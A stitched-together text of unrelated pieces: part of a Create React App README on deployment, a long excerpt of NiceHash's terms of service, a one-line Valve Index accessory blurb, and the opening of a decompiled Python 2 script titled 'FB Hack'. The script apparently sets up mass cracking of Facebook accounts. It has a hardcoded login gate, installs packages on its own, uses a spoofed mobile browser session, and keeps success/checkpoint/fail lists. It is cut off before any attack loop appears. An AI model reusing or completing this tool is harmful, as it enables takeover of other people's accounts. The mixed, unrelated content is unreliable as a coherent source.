infer the root path to use in the generated HTML file. ### Now See [this example](https://github.com/xkawi/create-react-app-now) for a zero-configuration single-command deployment with [now](https://zeit.co/now). ### Heroku Use the [Heroku Buildpack for Create React App](https://github.com/mars/create-react-app-buildpack). You can find instructions in [Deploying React with Zero Configuration](https://blog.heroku.com/deploying-react-with-zero-configuration). ### Surge Install the Surge CLI if you haven't already by running `npm install -g surge`. Run the `surge` command and log in you or create a new account. You just need to specify the *build* folder and your custom domain, and you are done. ```sh email: email@domain.com password: ******** project path: /path/to/project/build size: 7 files, 1.8 MB domain: create-react-app.surge.sh upload: [====================] 100%, eta: 0.0s propagate on CDN: [====================] 100% plan: Free users: email@domain.com IP Address: X.X.X.X Success! Project is published and running at create-react-app.surge.sh ``` Note that in order to support routers that use html5 `pushState` API, you may want to rename the `index.html` in your build folder to `200.html` before deploying to Surge. This [ensures that every URL falls back to that file](https://surge.sh/help/adding-a-200-page-for-client-side-routing). ### GitHub Pages >Note: this feature is available with `react-scripts@0.2.0` and higher. Open your `package.json` and add a `homepage` field: ```js "homepage": "http://myusername.github.io/my-app", ``` **The above step is important!** Create React App uses the `homepage` field to determine the root URL in the built HTML file. Now, whenever you run `npm run build`, you will see a cheat sheet with a sequence of commands to deploy to GitHub pages: ```sh git commit -am "Save local changes" git checkout -B gh-pages git add -f build git commit -am "Rebuild website" git filter-branch -f --prune-empty --subdirectory-filter build git push -f origin gh-pages git checkout - ``` You may copy and paste them, or put them into a custom shell script. You may also customize them for another hosting provider. Note that GitHub Pages doesn't support routers that use the HTML5 `pushState` history API under the hood (for example, React Router using `browserHistory`). This is because when there is a fresh page load for a url like `http://user.github.io/todomvc/todos/42`, where `/todos/42` is a frontend route, the GitHub Pages server returns 404 because it knows nothing of `/todos/42`. If you want to add a router to a project hosted on GitHub Pages, here are a couple of solutions: * You could switch from using HTML5 history API to routing with hashes. If you use React Router, you can switch to `hashHistory` for this effect, but the URL will be longer and more verbose (for example, `http://user.github.io/todomvc/#/todos/42?_k=yknaj`). [Read more](https://github.com/reactjs/react-router/blob/master/docs/guides/Histories.md#histories) about different history implementations in React Router. * Alternatively, you can use a trick to teach GitHub Pages to handle 404 by redirecting to your `index.html` page with a special redirect parameter. You would need to add a `404.html` file with the redirection code to the `build` folder before deploying your project, and you’ll need to add code handling the redirect parameter to `index.html`. You can find a detailed explanation of this technique [in this guide](https://github.com/rafrex/spa-github-pages). ## Something Missing? If you have ideas for more “How To” recipes that should be on this page, [let us know](https://github.com/facebookincubator/create-react-app/issues) or [contribute some!](https://github.com/facebookincubator/create-react-app/edit/master/template/README.md)
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Hash Wallet provider’s services and links thereto are provided solely as a convenience to you and you access and use them entirely at your own risk and subject to NiceHash Wallet provider’s terms and conditions. Since the NiceHash Wallet is a cryptocurrency wallet all funds held on it are entirely uninsured in contrast to the funds held on the bank account or other financial institutions which are insured. Connection risk You acknowledge that there are risks associated with usage of NiceHash Services which are provided through the internet including, but not limited to, the failure of hardware, software, configuration and internet connections and that you have been fully informed and warned about it. You acknowledge that NiceHash will not be responsible for any configuration, connection or communication failures, disruptions, errors, distortions or delays you may experience when using NiceHash Services, however caused. Hashing power provision risk You acknowledge that there are risks associated with the provisions of the hashing power which is provided by the Hashing power providers through the Hashing power marketplace and that you have been fully informed and warned about it. You acknowledge that NiceHash does not provide the hashing power but only provides the Hashing power marketplace as a service. Hashing power providers’ Hashing power rigs are new and untested and outside of NiceHash’s control. There is a major risk that the Hashing power rigs (i) will stop providing hashing power, (ii) will provide hashing power in an unstable way, (iii) will be wrongly configured or (iv) provide insufficient speed of the hashing power. Hashing power rigs as hardware could be subject of damage, errors, electricity outage, misconfiguration, connection or communication failures and other malfunctions. NiceHash will not be responsible for operation of Hashing power rigs and its provision of hashing power. By submitting a Hashing power order you agree to Hashing power no-refund policy – all shares forwarded to mining pool, selected on the Hashing power order are final and non-refundable. Hashing power profitability risk You acknowledge that there is risk associated with the profitability of the hashing power provision and that you have been fully informed and warned about it. You acknowledge that all Hashing power rig’s earning estimates and profitability calculations on NiceHash Platform are only for informational purposes and were made based on the Hashing power rigs set up in the test environments. NiceHash does not warrant that your Hashing power rigs would achieve the same profitability or earnings as calculated on NiceHash Platform. There is risk that your Hashing power rig would not produce desired hashing power quantity and quality and that your produced hashing power would differentiate from the hashing power produced by our Hashing power rigs set up in the test environments. There is risk that your Hashing power rigs would not be as profitable as our Hashing power rigs set up in the test environments or would not be profitable at all. WARRANTIES NiceHash Platform and Mining Services are provided on the “AS IS” and “AS AVAILABLE” basis, including all faults and defects. To the maximum extent permitted by applicable law, NiceHash makes no representations and warranties and you waive all warranties of any kind. Particularly, without limiting the generality of the foregoing, the NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise regarding NiceHash Platform and Mining Services or other services related to NiceHash Platform and provided by third parties, including any warranty that such services will be uninterrupted, harmless, secure or not corrupt or damaged, meet your requirements, achieve any intended results, be compatible or work with any other software, applications, systems or services, meet any performance or error free or that any errors or defects can or will be corrected. Additionally NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise of merchantability, suitability, reliability, availability, timeliness, accuracy, satisfactory quality, fitness for a particular purpose or quality, title and non-infringement with respect to any of the Mining Services or other services related to NiceHash Platform and provided by third parties, or quiet enjoyment and any warranties arising out of any course of dealing, course of performance, trade practice or usage of NiceHash Platform and Mining Services including information, content and material contained therein. Especially NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise regarding any payment services and systems, NiceHash Wallet which is provided by third party or any other financial services which might be related to the NiceHash Platform and Mining Services. You acknowledge that you do not rely on and have not been induced to accept the NiceHash Platform and Mining Services according to these Terms on the basis of any warranties, representations, covenants, undertakings or any other statement whatsoever, other than expressly set out in these Terms that neither the NiceHash nor any of its respective agents, officers, employees or advisers have given any such warranties, representations, covenants, undertakings or other statements. LIABILITY NiceHash and their respective officers, employees or agents will not be liable to you or anyone else, to the maximum extent permitted by applicable law, for any damages of any kind, including, but not limited to, direct, consequential, incidental, special or indirect damages (including but not limited to lost profits, trading losses or damages that result from use or loss of use of NiceHash Services or NiceHash Wallet), even if NiceHash has been advised of the possibility of such damages or losses, including, without limitation, from the use or attempted use of NiceHash Platform and Mining Services, NiceHash Wallet or other related websites or services. NiceHash does not assume any obligations to users in connection with the unlawful alienation of Bitcoins, which occurred on 6. 12. 2017 with NICEHASH, d. o. o., and has been fully reimbursed with the completion of the NiceHash Repayment Program. NiceHash will not be responsible for any compensation, reimbursement, or damages arising in connection with: (i) your inability to use the NiceHash Platform and Mining Services, including without limitation as a result of any termination or suspension of the NiceHash Platform or these Terms, power outages, maintenance, defects, system failures, mistakes, omissions, errors, defects, viruses, delays in operation or transmission or any failure of performance, (ii) the cost of procurement of substitute goods or services, (iii) any your investments, expenditures, or commitments in connection with these Terms or your use of or access to the NiceHash Platform and Mining Services, (iv) your reliance on any information obtained from NiceHash, (v) Force Majeure Event, communications failure, theft or other interruptions or (vi) any unauthorized access, alteration, deletion, destruction, damage, loss or failure to store any data, including records, private key or other credentials, associated with NiceHash Platform and Mining Services or NiceHash Wallet. Our aggregate liability (including our directors, members, employees and agents), whether in contract, warranty, tort (including negligence, whether active, passive or imputed), product liability, strict liability or other theory, arising out of or relating to the use of NiceHash Platform and Mining Services, or inability to use the Platform and Services under these Terms or under any other document or agreement executed and delivered in connection herewith or contemplated hereby, shall in any event not exceed 100 EUR per user. You will defend, indemnify, and hold NiceHash harmless and all respective employees, officers, directors, and representatives from and against any claims, demand, action, damages, loss, liabilities, costs and expenses (including reasonable attorney fees) arising out of or relating to (i) any third-party claim concerning these Terms, (ii) your use of, or conduct in connection with, NiceHash Platform and Mining Services, (iii) any feedback you provide, (iv) your violation of these Terms, (v) or your violation of any rights of any other person or entity. If you are obligated to indemnify us, we will have the right, in our sole discretion, to control any action or proceeding (at our expense) and determine whether we wish to settle it. If we are obligated to respond to a third-party subpoena or other compulsory legal order or process described above, you will also reimburse us for reasonable attorney fees, as well as our employees’ and contractors’ time and materials spent responding to the third-party subpoena or other compulsory legal order or process at reasonable hourly rates. The Services and the information, products, and services included in or available through the NiceHash Platform may include inaccuracies or typographical errors. Changes are periodically added to the information herein. Improvements or changes on the NiceHash Platform can be made at any time. NICEHASH ACCOUNT The registration of the NiceHash Account is made through the NiceHash Platform, where you are required to enter your email address and password in the registration form. After successful completion of registration, the confirmation email is sent to you. After you confirm your registration by clicking on the link in the confirmation email the NiceHash Account is created. NiceHash will send you proof of completed registration once the process is completed. When you create NiceHash Account, you agree to (i) create a strong password that you change frequently and do not use for any other website, (ii) implement reasonable and appropriate measures designed to secure access to any device which has access to your email address associated with your NiceHash Account and your username and password for your NiceHash Account, (iii) maintain the security of your NiceHash Account by protecting your password and by restricting access to your NiceHash Account; (iv) promptly notify us if you discover or otherwise suspect any security breaches related to your NiceHash Account so we can take all required and possible measures to secure your NiceHash Account and (v) take responsibility for all activities that occur under your NiceHash Account and accept all risks of any authorized or unauthorized access to your NiceHash Account, to the maximum extent permitted by law. Losing access to your email, registered at NiceHash Platform, may also mean losing access to your NiceHash Account. You may not be able to use the NiceHash Platform or Mining Services, execute withdrawals and other security sensitive operations until you regain access to your email address, registered at NiceHash Platform. If you wish to change the email address linked to your NiceHash Account, we may ask you to complete a KYC procedure for security purposes. This step serves solely for the purpose of identification in the process of regaining access to your NiceHash Account. Once the NiceHash Account is created a NiceHash Wallet is automatically created for the NiceHash Account when the request for the first deposit to the NiceHash Wallet is made by the user. Account holder’s NiceHash Wallet is generated by NiceHash Wallet provider. Account holder is strongly suggested to enhance the security of his NiceHash Account by adding an additional security step of Two-factor authentication (hereinafter “2FA”) when logging into his account, withdrawing funds from his NiceHash Wallet or placing a new order. Account holder can enable this security feature in the settings of his NiceHash Account. In the event of losing or changing 2FA code, we may ask the Account holder to complete a KYC procedure for security reasons. This step serves solely for the purpose of identification in the process of reactivating Account holders 2FA and it may be subject to an a In order to use certain functionalities of the NiceHash Platform, such as paying for the acquired hashing power, users must deposit funds to the NiceHash Wallet, as the payments for the hashing power could be made only through NiceHash Wallet. Hashing power providers have two options to get paid for the provided hashing power: (i) by using NiceHash Wallet to receive the payments or (ii) by providing other Bitcoin address where the payments shall be received to. Hashing power providers provide their Bitcoin address to NiceHash by providing such details via Account holder’s profile settings or in a form of a stratum username while connecting to NiceHash stratum servers. Account holder may load funds on his NiceHash Wallet from his Secondary account. Account holder may be charged fees by the Secondary account provider or by the blockchain network for such transaction. NiceHash is not responsible for any fees charged by Secondary account providers or by the blockchain network or for the management and security of the Secondary accounts. Account holder is solely responsible for his use of Secondary accounts and Account holder agrees to comply with all terms and conditions applicable to any Secondary accounts. The timing associated with a load transaction will depend in part upon the performance of Secondary accounts providers, the performance of blockchain network and performance of the NiceHash Wallet provider. NiceHash makes no guarantee regarding the amount of time it may take to load funds on to NiceHash Wallet. NiceHash Wallet shall not be used by Account holders to keep, save and hold funds for longer period and also not for executing other transactions which are not related to the transactions regarding the NiceHash Platform. The NiceHash Wallet shall be used exclusively and only for current and ongoing transactions regarding the NiceHash Platform. Account holders shall promptly withdraw any funds kept on the NiceHash Wallet that will not be used and are not intended for the reasons described earlier. Commission fees may be charged by the NiceHash Wallet provider, by the blockchain network or by NiceHash for any NiceHash Wallet transactions. Please refer to the NiceHash Platform, for more information about the commission fees for NiceHash Wallet transactions which are applicable at the time of the transaction. NiceHash reserves the right to change these commission fees according to the provisions to change these Terms at any time for any reason. You have the right to use the NiceHash Account only in compliance with these Terms and other commercial terms and principles published on the NiceHash Platform. In particular, you must observe all regulations aimed at ensuring the security of funds and financial transactions. Provided that the balance of funds in your NiceHash Wallet is greater than any minimum balance requirements needed to satisfy any of your open orders, you may withdraw from your NiceHash Wallet any amount of funds, up to the total amount of funds in your NiceHash Wallet in excess of such minimum balance requirements, to Secondary Account, less any applicable withdrawal fees charged by NiceHash or by the blockchain network for such transaction. Withdrawals are not processed instantly and may be grouped with other withdrawal requests. Some withdrawals may require additional verification information which you will have to provide in order to process the withdrawal. It may take up to 24 hours before withdrawal is fully processed and distributed to the Blockchain network. Please refer to the NiceHash Platform for more information about the withdrawal fees and withdrawal processing. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. You have the right to close the NiceHash Account. In case you have funds on your NiceHash Wallet you should withdraw funds from your account prior to requesting NiceHash Account closure. After we receive your NiceHash Account closure request we will deactivate your NiceHash Account. You can read more about closing the NiceHash Account in our Privacy Policy. Your NiceHash Account may be deactivated due to your inactivity. Your NiceHash account may be locked and a mandatory KYC procedure is applied for security reasons, if it has been more than 6 month since your last login. NiceHash or any of its partners or affiliates are not responsible for the loss of the funds, stored on or transferred from the NiceHash Wallet, as well as for the erroneous implementation of the transactions made via NiceHash Wallet, where such loss or faulty implementation of the transaction are the result of a malfunction of the NiceHash Wallet and the malfunction was caused by you or the NiceHash Wallet provider. You are obliged to inform NiceHash in case of loss or theft, as well as in the case of any possible misuse of the access data to your NiceHash Account, without any delay, and demand change of access data or closure of your existing NiceHash Account and submit a request for new access data. NiceHash will execute the change of access data or closure of the NiceHash Account and the opening of new NiceHash Account as soon as technically possible and without any undue delay. All information pertaining to registration, including a registration form, generation of NiceHash Wallet and detailed instructions on the use of the NiceHash Account and NiceHash Wallet are available at NiceHash Platform. The registration form as well as the entire system is properly protected from unwanted interference by third parties. KYC PROCEDURE NiceHash is appropriately implementing AML/CTF and security measures to diligently detect and prevent any malicious or unlawful use of NiceHash Services or use, which is strictly prohibited by these Terms, which are deemed as your agreement to provide required personal information for identity verification. Security measures include a KYC procedure, which is aimed at determining the identity of an individual user or an organisation. We may ask you to complete this procedure before enabling some or all functionalities of the NiceHash platform and provide its services. A KYC procedure might be applied as a security measure when: changing the email address linked to your NiceHash Account, losing or changing your 2FA code; logging in to your NiceHash Account for the first time after the launch of the new NiceHash Platform in August 2019, gaining access to all or a portion of NiceHash Services, NiceHash Wallet and its related services or any portion thereof if they were disabled due to and activating your NiceHash Account if it has been deactivated due to its inactivity and/or security or other reasons. HASHING POWER TRANSACTIONS General NiceHash may, at any time and in our sole discretion, (i) refuse any order submitted or provided hashing power, (ii) cancel an order or part of the order before it is executed, (iii) impose limits on the order amount permitted or on provided hashing power or (iv) impose any other conditions or restrictions upon your use of the NiceHash Platform and Mining Services without prior notice. For example, but not limited to, NiceHash may limit the number of open orders that you may establish or limit the type of supported Hashing power rigs and mining algorithms or NiceHash may restrict submitting orders or providing hashing power from certain locations. Please refer to the NiceHash Platform, for more information about terminology, hashing power transactions’ definitions and descriptions, order types, order submission, order procedure, order rules and other restrictions and limitations of the hashing power transactions. NiceHash reserves the right to change any transaction, definitions, description, order types, procedure, rules, restrictions and limitations at any time for any reason. Orders, provision of hashing power, payments, deposits, withdrawals and other transactions are accepted only through the interface of the NiceHash Platform, NiceHash API and NiceHash Account and are fixed by the software and hardware tools of the NiceHash Platform. If you do not understand the meaning of any transaction option, NiceHash strongly encourages you not to utilize any of those options. Hashing Power Order In order to submit an Hashing Power Order via the NiceHash Account, the Hashing power buyer must have available funds in his NiceHash Wallet. Hashing power buyer submits a new order to buy hashing power via the NiceHash Platform or via the NiceHash API by setting the following parameters in the order form: NiceHash service server location, third-party mining pool, algorithm to use, order type, set amount he is willing to spend on this order, set price per hash he is willing to pay, optionally approximate limit maximum hashing power for his order and other parameters as requested and by confirming his order. Hashing power buyer may submit an order in maximum amount of funds available on his NiceHash Wallet at the time of order submission. Order run time is only approximate since order’s lifetime is based on the number of hashes that it delivers. Particularly during periods of high volume, illiquidity, fast movement or volatility in the marketplace for any digital assets or hashing power, the actual price per hash at which some of the orders are executed may be different from the prevailing price indicated on NiceHash Platform at the time of your order. You understand that NiceHash is not liable for any such price fluctuations. In the event of market disruption, NiceHash Services disruption, NiceHash Hashing Power Marketplace disruption or manipulation or Force Majeure Event, NiceHash may do one or more of the following: (i) suspend access to the NiceHash Account or NiceHash Platform, or (ii) prevent you from completing any actions in the NiceHash Account, including closing any open orders. Following any such event, when trading resumes, you acknowledge that prevailing market prices may differ significantly from the prices available prior to such event. When Hashing power buyer submits an order for purchasing of the Hashing power via NiceHash Platform or via the NiceHash API he authorizes NiceHash to execute the order on his behalf and for his account in accordance with such order. Hashing power buyer acknowledges and agrees that NiceHash is not acting as his broker, intermediary, agent or advisor or in any fiduciary capacity. NiceHash executes the order in set order amount minus NiceHash’s processing fee. Once the order is successfully submitted the order amount starts to decrease in real time according to the payments for the provided hashing power. Hashing power buyer agrees to pay applicable processing fee to NiceHash for provided services. The NiceHash’s fees are deducted from Hashing power buyer’s NiceHash Wallet once the whole order is exhausted and completed. Please refer to the NiceHash Platform, for more information about the fees which are applicable at the time of provision of services. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the NiceHash Services provided after the change of the fees. All orders submitted prior the fee change but not necessary completed prior the fee change will be charged according to the fees applicable at the time of the submission of the order. NiceHash will attempt, on a commercially reasonable basis, to execute the Hashing power buyer’s purchase of the hashing power on the Hashing power marketplace under these Terms according to the best-effort delivery approach. In this respect NiceHash does not guarantee that the hashing power will actually be delivered or verified and does not guarantee any quality of the NiceHash Services. Hashing power buyer may cancel a submitted order during order’s lifetime. If an order has been partially executed, Hashing power buyer may cancel the unexecuted remainder of the order. In this case the NiceHash’s processing fee will apply only for the partially executed order. NiceHash reserves the right to refuse any order cancellation request once the order has been submitted. Selling Hashing Power and the Provision of Hashing Power In order to submit the hashing power to the NiceHash stratum server the Hashing power provider must first point its Hashing power rig to the NiceHash stratum server. Hashing power provider is solely responsible for configuration of his Hashing power rig. The Hashing power provider gets paid by Hashing power buyers for all validated and accepted work that his Hashing power rig has produced. The provided hashing power is validated by NiceHash’s stratum engine and validator. Once the hashing power is validated the Hashing power provider is entitled to receive the payment for his work. NiceHash logs all validated hashing power which was submitted by the Hashing power provider. The Hashing power provider receives the payments of current globally weighted average price on to his NiceHash Wallet or his selected personal Bitcoin address. The payments are made periodically depending on the height of payments. NiceHash reserves the right to hold the payments any time and for any reason by indicating the reason, especially if the payments represent smaller values. Please refer to the NiceHash Platform, for more information about the height of payments for provided hashing power, how the current globally weighted average price is calculated, payment periods, payment conditions and conditions for detention of payments. NiceHash reserves the right to change this payment policy according to the provisions to change these Terms at any time for any reason. All Hashing power rig’s earnings and profitability calculations on NiceHash Platform are only for informational purposes. NiceHash does not warrant that your Hashing power rigs would achieve the same profitability or earnings as calculated on NiceHash Platform. You hereby acknowledge that it is possible that your Hashing power rigs would not be as profitable as indicated in our informational calculations or would not be profitable at all. Hashing power provider agrees to pay applicable processing fee to NiceHash for provided Services. The NiceHash’s fees are deducted from all the payments made to the Hashing power provider for his provided work. Please refer to the NiceHash Platform, for more information about the fees which are applicable at the time of provision of services. Hashing power provider which has not submitted any hashing power to the NiceHash stratum server for a period of 90 days agrees that a processing fee of 0.00001000 BTC or less, depending on the unpaid mining balance, will be deducted from his unpaid mining balance. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the NiceHash Services provided after the change of the fees. NiceHash will attempt, on a commercially reasonable basis, to execute the provision of Hashing power providers’ hashing power on the Hashing power marketplace under these Terms according to the best-effort delivery approach. In this respect NiceHash does not guarantee that the hashing power will actually be delivered or verified and does not guarantee any quality of the NiceHash Services. Hashing power provider may disconnect the Hashing power rig from the NiceHash stratum server any time. NiceHash reserves the right to refuse any Hashing power rig once the Hashing power rig has been pointed towards NiceHash stratum server. RESTRICTIONS When accessing the NiceHash Platform or using the Mining Services or NiceHash Wallet, you warrant and agree that you: will not use the Services for any purpose that is unlawful or prohibited by these Terms, will not violate any law, contract, intellectual property or other third-party right or commit a tort, are solely responsible for your conduct while accessing the NiceHash Platform or using the Mining Services or NiceHash Wallet, will not access the NiceHash Platform or use the Mining Services in any manner that could damage, disable, overburden, or impair the provision of the Services or interfere with any other party's use and enjoyment of the Services, will not misuse and/or maliciously use Hashing power rigs, you will particularly refrain from using network botnets or using NiceHash Platform or Mining Services with Hashing power rigs without the knowledge or awareness of Hashing power rig owner(s), will not perform or attempt to perform any kind of malicious attacks on blockchains with the use of the NiceHash Platform or Mining Services, intended to maliciously gain control of more than 50% of the network's mining hash rate, will not use the NiceHash Platform or Mining Services for any kind of market manipulation or disruption, such as but not limited to NiceHash Mining Services disruption and NiceHash Hashing Power Marketplace manipulation. In case of any of the above mentioned events, NiceHash reserves the right to immediately suspend your NiceHash Account, freeze or block the funds in the NiceHash Wallet, and suspend your access to NiceHash Platform, particularly if NiceHash believes that such NiceHash Account are in violation of these Terms or Privacy Policy, or any applicable laws and regulation. RIGHTS AND OBLIGATIONS In the event of disputes with you, NiceHash is obliged to prove that the NiceHash service which is the subject of the dispute was not influenced by technical or other failure. You will have possibility to check at any time, subject to technical availability, the transactions details, statistics and available balance of the funds held on the NiceHash Wallet, through access to the NiceHash Account. You may not obtain or attempt to obtain any materials or information through any means not intentionally made available or provided to you or public through the NiceHash Platform or Mining Services. We may, in our sole discretion, at any time, for any or no reason and without liability to you, with prior notice (i) terminate all rights and obligations between you and NiceHash derived from these Terms, (ii) suspend your access to all or a portion of NiceHash Services, NiceHash Wallet and its related services or any portion thereof and delete or deactivate your NiceHash Account and all related information and files in such account (iii) modify, suspend or discontinue, temporarily or permanently, any portion of NiceHash Platform or (iv) provide enhancements or improvements to the features and functionality of the NiceHash Platform, which may include patches, bug fixes, updates, upgrades and other modifications. Any such change may modify or delete certain portion, features or functionalities of the NiceHash Services. You agree that NiceHash has no obligation to (i) provide any updates, or (ii) continue to provide or enable any particular portion, features or functionalities of the NiceHash Services to you. You further agree that all changes will be (i) deemed to constitute an integral part of the NiceHash Platform, and (ii) subject to these Terms. In the event of your breach of these Terms, including but not limited to, for instance, in the event that you breach any term of these Terms, due to legal grounds originating in anti-money laundering and know your client regulation and procedures, or any other relevant applicable regulation, all right and obligations between you and NiceHash derived from these Terms terminate automatically if you fail to comply with these Terms within the notice period of 8 days after you have been warned by NiceHash about the breach and given 8 days period to cure the breaches. NiceHash reserves the right to keep these rights and obligations in force despite your breach of these Terms. In the event of termination, NiceHash will attempt to return you any funds stored on your NiceHash Wallet not otherwise owed to NiceHash, unless NiceHash believes you have committed fraud, negligence or other misconduct. You acknowledge that the NiceHash Services and NiceHash Wallet may be suspended for maintenance. Technical information about the hashing power transactions, including information about chosen server locations, algorithms used, selected mining pools, your business or activities, including all financial and technical information, specifications, technology together with all details of prices, current transaction performance and future business strategy represent confidential information and trade secrets. NiceHash shall, preserve the confidentiality of all before mentioned information and shall not disclose or cause or permit to be disclosed without your permission any of these information to any person save to the extent that such disclosure is strictly to enable you to perform or comply with any of your obligations under these Terms, or to the extent that there is an irresistible legal requirement on you or NiceHash to do so; or where the information has come into the public domain otherwise than through a breach of any of the terms of these Terms. NiceHash shall not be entitled to make use of any of these confidential information and trade secrets other than during the continuance of and pursuant to these Terms and then only for the purpose of carrying out its obligations pursuant to these Terms. NICEHASH MINER LICENSE (NICEHASH MINING SOFTWARE LICENSE) NiceHash Mining Software whether on disk, in read only memory, or any other media or in any other form is licensed, not sold, to you by NiceHash for use only under these Terms. NiceHash retains ownership of the NiceHash Mining Software itself and reserves all rights not expressly granted to you. Subject to these Terms, you are granted a limited, non-transferable, non-exclusive and a revocable license to download, install and use the NiceHash Mining Software. You may not distribute or make the NiceHash Mining Software available over a network where it could be used by multiple devices at the same time. You may not rent, lease, lend, sell, redistribute, assign, sublicense host, outsource, disclose or otherwise commercially exploit the NiceHash Mining Software or make it available to any third party. There is no license fee for the NiceHash Mining Software. NiceHash reserves the right to change the license fee policy according to the provisions to change these Terms any time and for any reason, including to decide to start charging the license fee for the NiceHash Mining Software. You are responsible for any and all applicable taxes. You may not, and you agree not to or enable others to, copy, decompile, reverse engineer, reverse compile, disassemble, attempt to derive the source code of, decrypt, modify, or create derivative works of the NiceHash Mining Software or any services provided by the NiceHash Mining Software, or any part thereof (except as and only to the extent any foregoing restriction is prohibited by applicable law or to the extent as may be permitted by the licensing terms governing use of open-sourced components included with the NiceHash Mining Software). If you choose to allow automatic updates, your device will periodically check with NiceHash for updates and upgrades to the NiceHash Mining Software and, if an update or upgrade is available, the update or upgrade will automatically download and install onto your device and, if applicable, your peripheral devices. You can turn off the automatic updates altogether at any time by changing the automatic updates settings found within the NiceHash Mining Software. You agree that NiceHash may collect and use technical and related information, including but not limited to technical information about your computer, system and application software, and peripherals, that is gathered periodically to facilitate the provision of software updates, product support and other services to you (if any) related to the NiceHash Mining Software and to verify compliance with these Terms. NiceHash may use this information, as long as it is in a form that does not personally identify you, to improve our NiceHash Services. NiceHash Mining Software contains features that rely upon information about your selected mining pools. You agree to our transmission, collection, maintenance, processing, and use of all information obtained from you about your selected mining pools. You can opt out at any time by going to settings in the NiceHash Mining Software. NiceHash may provide interest-based advertising to you. If you do not want to receive relevant ads in the NiceHash Mining Software, you can opt out at any time by going to settings in the NiceHash Mining Software. If you opt out, you will continue to receive the same number of ads, but they may be less relevant because they will not be based on your interest. NiceHash Mining Software license is effective until terminated. All provisions of these Terms regarding the termination apply also for the NiceHash Mining Software license. Upon the termination of NiceHash Mining Software license, you shall cease all use of the NiceHash Mining Software and destroy or delete all copies, full or partial, of the NiceHash Mining Software. THIRD PARTY MINERS AND PLUGINS Third Party Miners and Plugins are a third party software which enables the best and most efficient mining operations. NiceHash Miner integrates third party mining software using a third party miner plugin system. Third Party Mining Software is a closed source software which supports mining algorithms for cryptocurrencies and can be integrated into NiceHash Mining Software. Third Party Miner Plugin enables the connection between NiceHash Mining Software and Third Party Mining Software and it can be closed, as well as open sourced. NiceHash Mining Software user interface enables the user to manually select which available Third Party Miners and Plugins will be downloaded and integrated. Users can select or deselect Third Party Miners and Plugins found in the Plugin Manager window. Some of the available Third Party Miners and Plugins which are most common are preselected by NiceHash, but can be deselected, depending on users' needs. The details of the Third Party Miners and Plugins available for NiceHash Mining Software are accessible within the NiceHash Mining Software user interface. The details include, but not limited to, the author of the software and applicable license information, if applicable information about developer fee for Third Party Miners, software version etc. Developer fees may apply to the use of Third Party Miners and Plugins. NiceHash will not be liable, to the maximum extent permitted by applicable law, for any damages of any kind, including, but not limited to, direct, consequential, incidental, special or indirect damages, arising out of using Third Party Miners and Plugins. The latter includes, but is not limited to: i) any power outages, maintenance, defects, system failures, mistakes, omissions, errors, defects, viruses, delays in operation or transmission or any failure of performance; ii) any unauthorized access, alteration, deletion, destruction, damage, loss or failure to store any data, including records, private key or other credentials, associated with usage of Third Party Miners and Plugins and ii) Force Majeure Event, communications failure, theft or other interruptions. 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MUTEtheCyberwolf / VALVE INDEX DEV Frunk 1.0Valve Index DEV Frunk 1.0 Custom made to give the Index more Mounting Options for Adapters and DIY Devices. All Modifications that i create are Reversible and will not damage the Product. (Except you try to break it on purpose)
Myhadi / FB Hack#decompiled by PDM31 import os, sys print '\x1b[1;32mSudah punya ID dan Password nya?' print '\x1b[1;32mSilahkan Login ' import os, sys def wa(): os.system('xdg-open https://api.whatsapp.com/send?phone=6281291977644&text=Assalamualaikum') def restart(): ngulang = sys.executable os.execl(ngulang, ngulang, *sys.argv) user = raw_input('ID: ') import getpass sandi = raw_input('Password: ') if sandi == 'indoxploit' and user == 'Borot': print 'Anda Telah Login' sys.exit else: print 'Login GAGAL, Silahkan hubungi ADMIN' wa() restart() import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib from multiprocessing.pool import ThreadPool try: import mechanize except ImportError: os.system('pip2 install mechanize') else: try: import requests except ImportError: os.system('pip2 install requests') from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def keluar(): print '\x1b[1;91m[!] Keluar' os.sys.exit() def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.1) logo = '\x1b[1;92m\n\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x8c\xe2\x94\x80 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x97 \n \xe2\x95\x91\xe2\x95\x91\xe2\x94\x9c\xe2\x94\x80\xe2\x94\xa4\xe2\x94\x9c\xe2\x94\xac\xe2\x94\x98\xe2\x94\x9c\xe2\x94\xb4\xe2\x94\x90\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xa0\xe2\x95\xa3 \xe2\x95\xa0\xe2\x95\xa9\xe2\x95\x97\n\xe2\x95\x90\xe2\x95\xa9\xe2\x95\x9d\xe2\x94\xb4 \xe2\x94\xb4\xe2\x94\xb4\xe2\x94\x94\xe2\x94\x80\xe2\x94\xb4 \xe2\x94\xb4 \xe2\x95\x9a \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \x1b[1;93mv1.7\n\x1b[1;93m* \x1b[1;97mAuthor \x1b[1;91m: \x1b[1;96mMr. Borot\x1b[1;97m\n\x1b[1;93m* \x1b[1;97mSupport \x1b[1;91m: \x1b[1;96mKunjungi\x1b[1;97m \x1b[1;96mwebsite \x1b[1;96mKami\n\x1b[1;93m* \x1b[1;97mwebsite \x1b[1;91m: \x1b[1;92m\x1b[4mhttp://indoxploit.id/\x1b[0m\n' def tik(): titik = [ '. ', '.. ', '... '] for o in titik: print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) back = 0 threads = [] berhasil = [] cekpoint = [] gagal = [] idteman 